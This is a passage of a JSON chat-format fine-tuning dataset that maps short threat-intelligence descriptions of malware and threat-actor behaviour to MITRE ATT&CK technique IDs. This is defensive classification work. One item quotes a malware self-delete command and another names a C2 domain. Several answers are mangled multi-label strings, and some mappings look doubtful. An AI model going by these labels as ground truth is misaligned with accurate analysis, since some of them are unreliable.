                "content": "ShimRat can impersonate Windows services and antivirus products to avoid detection on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This technique allows them to map network resources and make lateral movements inside the network, landing in the perfect machine to match the attacker’s interest"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BazarLoader ISO downloaded from the OneDrive link, consists of a malicious DLL and shortcut file named “Documents.lnk” which executes the DLL via rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used network scanning and enumeration tools, including Ping."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can list information about files in a directory and recently opened or used documents. InvisiMole can also search for specific files by supplied file mask."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can upload files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used a batch script that adds a Registry Run key to establish malware persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors renamed a malicious executable to `rundll32.exe` to allow it to blend in with other Windows system files."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem can upload files from infected machines after receiving a command with `uploaddd` in the string."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has exploited the Microsoft Netlogon vulnerability (CVE-2020-1472)."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has used Windows command scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet enumerates user accounts of the domain."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the registry run key location: HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many  samples can perform UAC bypass by using eventvwr.exe to execute a malicious file."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe can download and execute additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SynAck checks its directory location in an attempt to avoid launching in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has used raw TCP for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets its persistence mechanism by creating a RunKey in the registry to ensure its survival after system reboot events"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda have acquired C2 domains prior to operations."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We were able to expand on some of the findings about the group and provide insights into the additional variants that it uses. We were able to trace the implant back to at least 2015, where it also had variants intended to hijack the execution of the Telegram and Chrome applications as a persistence method"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT uses cmd.exe to execute scripts and commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MechaFlounder has the ability to send the compromised user's account name and hostname within a URL to C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs the whoami and query user commands."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CTU researchers observed WCry variants demanding Bitcoin payments equivalent to $300 and $600. The Bitcoin address is provided in the c.wnry configuration file and can vary across samples. If no configuration file is present, the malware uses a hard-coded Bitcoin address. CTU researchers have identified the following Bitcoin addresses associated with the WCry ransomware"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca  has sent spearphishing emails that required the user to click on a malicious link and subsequently open a decoy document with a malicious loader."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates to the C2 server by retrieving a Google Doc."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto uses a hidden directory named .calisto to store data from the victim’s machine before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging', 'T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used various forms of spearphishing attempting to get a user to open links or attachments."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used spearphishing via a link to get users to download and run their malware."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Zebrocy Trojan gathers system specific information that it will send to the C2 server via an HTTP POST request to the above URL. Like other Zebrocy samples, this Trojan collects system specific information it will send to the C2 server by running the command SYSTEMINFO &amp; TASKLIST on the command line and by enumerating information about connected storage devices. This specific variant of Zebrocy will also send a screenshot of the victim host as a JPEG image to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1057 - Process Discovery', 'T1120 - Peripheral Device Discovery', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer’s data wiper module writes zeros into the registry keys in \"SYSTEM\\CurrentControlSet\\Services\" to render a system inoperable."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses a malicious browser application to replace the legitimate browser in order to continuously capture credentials, monitor web traffic, and download additional modules."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hi-Zor has the ability to create a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in  collects information from the victim about its IP addresses and MAC addresses."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects into the svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has checked for running containers with \"docker ps\" and for specific container names with \"docker inspect\". TeamTNT has also searched for Kubernetes pods running in a local network."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can use system resources to mine cryptocurrency, dropping XMRig to mine Monero."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has extracted files from compromised networks."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd.exe /C choice /C Y /N /D Y /T 2 & Del After sleeping, the Trojan will create a GUID and write it to %APPDATA%\\Windows\\GDI.bin"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2: De-obfuscated code scheduling the second task to run a script embedded in a blog page The last section of script embedded in 29[.]html then downloads Revenge RAT and injects the binary into the memory of a running process, as seen in Figure 3"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can retrieve usernames from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has obtained and used tools such as Impacket, pwdump, Mimikatz, gsecdump, NBTscan, and Windows Credential Editor."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUPY LOADER The Pupy RAT comes packaged by default with loaders that can run the RAT on a variety of platforms such as Windows, macOS, Linux and Android"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve can identify and search networked drives for specific file name extensions."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot downloads several additional files and saves them to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has utilized tools to capture mouse movements."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For the rest, we acknowledge that the subdomains used could be indicative of the target; they could also be used to go after third parties that might trust those organizations"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HiddenWasp uses a script to automate tasks on the victim's machine and to assist in execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "txt,log} and is also a \"cryptojacker,\" which is a tool that uses a victim’s computer to mine cryptocurrency. Nirsoft SniffPass is capable of obtaining passwords sent over non-secure protocols"
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": ". . Once the second stage is extracted and run, we are presented with the final stage of this attack, which we refer to as ComboJack. Once ComboJack is extracted it begins by copying itself to the following location:"
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has the ability to use form-grabbing to extract data from web data forms."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used spearphishing via a link to get users to download and run their malware."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer can list directories on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot uses the command-line interface to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX adds Run key entries in the Registry to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As mentioned, FALLCHILL was reported as the final payload for Celas Trade Pro. All FALLCHILL samples use 16-byte hardcoded RC4 keys for sending data, similar to the 16-byte keys in the AppleJeus samples"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tomiris has the ability to collect recent files matching a hardcoded list of extensions prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has leveraged multiple types of spearphishing in order to attempt to get a user to open attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Felismus uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has used Base64 to decode malicious VBS script."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To check the host language, it queries the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\ and the value InstallLanguage. If the machine has the value 0419 (Russian), 0422 (Ukrainian) or 0423 (Belarusian), it call ExitProcess to stop executing"
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the Cl0p variants encrypts the files by generating an RSA public key, retrieving its first 127 bytes and using them as the RC4 key, adding the Cl0p^_- header and the RC4 encrypting it again. Once the files are encrypted, the Cl0p extension will be added to each encrypted file"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used compiled HTML (.chm) files for targeting."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - Signed Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It creates a socket, requests the address of the hardcoded C2 server \"win-restore.ru\" via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind can delete itself or specified files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It’s clear from our research that the quality of the WannaCry code is poor and the developers made many mistakes, enabling many of those infected to recover encrypted data.  The way the attackers handled ransom payments limited their ability to capitalise on the spread of the worm.  Multiple attempts were made to track transactions to the bitcoin wallets used by the attackers.  Although estimates of how much money the attackers made vary, they run into tens of thousands, rather than hundreds ."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used a modified version of NBTscan to identify available NetBIOS name servers over the network as well as \"ping\" to identify remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has been observed using SQL injection to gain access to systems."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type has deleted files it has created on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts C2 traffic using AES with a static key."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts strings to make analysis more difficult."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
